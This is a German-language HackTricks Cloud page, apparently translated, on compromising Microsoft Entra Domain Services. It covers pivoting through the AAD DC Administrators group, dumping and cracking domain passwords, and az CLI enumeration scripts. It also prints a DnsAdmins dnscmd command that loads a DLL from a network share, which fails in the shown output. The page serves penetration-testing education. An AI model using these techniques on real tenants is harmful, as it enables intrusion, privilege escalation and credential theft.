Az - Microsoft Entra Domain Services
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Domain Services
Microsoft Entra Domain Services ermöglicht die Bereitstellung eines Active Directory in Azure, ohne dass Domain Controller verwaltet werden müssen (tatsächlich haben Sie nicht einmal Zugriff auf sie).
Das Hauptziel besteht darin, Ihnen zu ermöglichen, Legacy-Anwendungen in der Cloud auszuführen, die keine modernen Authentifizierungsmethoden verwenden können, oder wenn Sie nicht möchten, dass Verzeichnisabfragen immer auf eine lokale AD DS-Umgebung zurückgreifen.
Beachten Sie, dass Sie, um die in Entra ID generierten Benutzer (und nicht von anderen aktiven Verzeichnissen synchronisierten) mit dem AD-Domain-Service zu synchronisieren, das Passwort des Benutzers auf ein neues ändern müssen, damit es mit dem neuen AD synchronisiert werden kann. Tatsächlich wird der Benutzer nicht von Microsoft Entra ID zu Domain Services synchronisiert, bis das Passwort geändert wird.
warning
Selbst wenn Sie eine neue Active Directory-Domäne erstellen, können Sie sie nicht vollständig verwalten (es sei denn, Sie nutzen einige Fehlkonfigurationen), was bedeutet, dass Sie standardmäßig beispielsweise keine Benutzer direkt im AD erstellen können. Sie erstellen sie durch Synchronisieren von Benutzern aus Entra ID. Sie können angeben, dass alle Benutzer (auch die, die von anderen lokalen ADs synchronisiert wurden), nur Cloud-Benutzer (Benutzer, die in Entra ID erstellt wurden) oder sogar weiter filtern synchronisiert werden sollen.
note
Im Allgemeinen ist dies aufgrund der mangelnden Flexibilität bei der Konfiguration der neuen Domäne und der Tatsache, dass ADs normalerweise bereits lokal sind, nicht die Hauptintegration zwischen Entra ID und AD, aber es ist dennoch interessant zu wissen, wie man es kompromittieren kann.
Pivoting
Mitglieder der generierten AAD DC Administrators-Gruppe erhalten lokale Administratorrechte auf VMs, die mit der verwalteten Domäne verbunden sind (aber nicht in den Domain Controllern), da sie in die lokale Administratorgruppe aufgenommen werden. Mitglieder dieser Gruppe können auch Remote Desktop verwenden, um sich remote mit domain-joined VMs zu verbinden, und sind auch Mitglieder der Gruppen:
Denied RODC Password Replication Group: Dies ist eine Gruppe, die Benutzer und Gruppen angibt, deren Passwörter nicht auf RODCs (Read-Only Domain Controllers) zwischengespeichert werden können.Group Policy Creators Owners: Diese Gruppe ermöglicht es Mitgliedern, Gruppenrichtlinien in der Domäne zu erstellen. Ihre Mitglieder können jedoch keine Gruppenrichtlinien auf Benutzer oder Gruppen anwenden oder vorhandene GPOs bearbeiten, sodass sie in dieser Umgebung nicht so interessant ist.DnsAdmins: Diese Gruppe ermöglicht die Verwaltung der DNS-Einstellungen und wurde in der Vergangenheit missbraucht, um Berechtigungen zu eskalieren und die Domäne zu kompromittieren, jedoch wurde nach dem Testen des Angriffs in dieser Umgebung überprüft, dass die Schwachstelle gepatcht ist:
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
Beachten Sie, dass zur Gewährung dieser Berechtigungen die Gruppe AAD DC Administrators innerhalb des AD Mitglied der vorherigen Gruppen wird und auch die GPO AADDC Computers GPO alle Mitglieder der Domänengruppe AAD DC Administrators als lokale Administratoren hinzufügt.
Das Pivotieren von Entra ID zu einem AD, das mit Domain Services erstellt wurde, ist unkompliziert. Fügen Sie einfach einen Benutzer zur Gruppe AAD DC Administrators hinzu, greifen Sie über RDP auf alle Maschinen in der Domäne zu, und Sie werden in der Lage sein, Daten zu stehlen und auch die Domäne zu kompromittieren.
Das Pivotieren von der Domäne zu Entra ID ist jedoch nicht so einfach, da nichts aus der Domäne in Entra ID synchronisiert wird. Überprüfen Sie jedoch immer die Metadaten aller VMs, da ihre zugewiesenen verwalteten Identitäten interessante Berechtigungen haben könnten. Außerdem dumpen Sie alle Benutzerpasswörter aus der Domäne und versuchen Sie, diese zu knacken, um sich dann in Entra ID / Azure anzumelden.
note
Beachten Sie, dass in der Vergangenheit andere Schwachstellen in diesem verwalteten AD gefunden wurden, die es ermöglichten, die DCs zu kompromittieren, wie diese hier. Ein Angreifer, der den DC kompromittiert, könnte sehr leicht die Persistenz aufrechterhalten, ohne dass die Azure-Administratoren es bemerken oder sogar in der Lage sind, sie zu entfernen.
Aufzählung
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"
# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud